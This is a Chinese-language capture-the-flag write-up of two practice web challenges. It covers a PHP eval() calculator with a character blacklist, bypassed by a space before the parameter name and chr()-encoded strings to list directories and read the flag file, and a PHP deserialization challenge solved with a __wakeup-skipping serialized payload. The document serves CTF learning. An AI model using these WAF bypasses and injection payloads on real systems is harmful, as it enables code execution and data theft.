目录
[RoarCTF 2019]Easy Calc
PHP字符串解析特性
[极客大挑战 2019]PHP
相似题目:[ACTF2020 新生赛]backupfile
相关资料:CTF常见敏感文件 CTF备份文件
[RoarCTF 2019]Easy Calc
题目简介:
访问node3.buuoj.cn:26880
在url中发现了,calc.php,然后访问,
访问calc.php,如下
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
随便试一下?num=1*15
回显是15
?num=1+1
Forbidden
说明后端会执行num的代码,但是会进行一些过滤,所以需要进行绕过waf
PHP字符串解析特性
看一些师傅们的wp,我的理解是这样的:
在php解析我们用传入的字符串时,会进行一些删除或者用下划线代替的操作,即会把所有参数转化为有效的参数名
所以解析字符串时,会做以下操作:
1.删除空白字符串。
2.将某些字符替换为下划线(包括空格)
所以可以在num前面加上空格,来绕过
加空格绕过的解释:
http://node3.buuoj.cn:26880/calc.php?num=phpinfo();
回显:Forbidden
http://node3.buuoj.cn:26880/calc.php? num=phpinfo();
回显:
说明成功绕过waf,这个可以这样理解:你传了一个" num"的值,而waf正在抓名字叫做"num"的变量,碰到" num"时," num"说你找的是"num",与我" num"有何关系,说罢扬长而去。
而后在php对字符串解析的时候,将" num"多余的空格直接砍去,这样的话,我们就传入了"num",并且还传入了我们希望的值。
同时,根据前面的num=phpinfo();判断后端会执行num的代码。
? num=scandir("/");
回显:what are you want to do?
因为过滤了"",所以用chr()绕过,chr(47)就是"/",scandir("/")是扫根目录下的所有文件,payload如下
?%20num=print_r(scandir(chr(47)));
回显:
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1
var_dump() 函数简介,来源菜鸟教程
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
PHP 版本要求: PHP 4, PHP 5, PHP 7
所以最后的payload
/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
[极客大挑战 2019]PHP
题目简介:
看到备份网站就尝试用index.php.bak,www.zip,source.php,robots.txt,bak.zip,.tar.gz,rar等,本题在www.zip中可以找到源码,如下
index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
代码审计:如果在destruct()函数中用户名是admin,密码是100,就会输出flag
但是wakeup()函数会导致用户名为guest,所以需要在反序列化类对象的时候进行绕过
反序列化字符串时,属性的个数大于真实属性的个数时,会跳过__wakeup()函数的执行。
<?php
class Name
{private $username='admin';private $password='100';
}
$a=new Name();
echo (serialize($a));
//看师傅们的wp,有的师傅还会对序列化结果进行Url编码,以防止%00对应的不可打印字符在复制时丢失
//同时发现本题中必须用url编码,不然无法得出flag。
echo urlencode(serialize($a));。//结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
//注意在下面的url编码中的2要改为3
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";},得到的是如下结果
需要进行绕过并进行url编码,payload如下
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D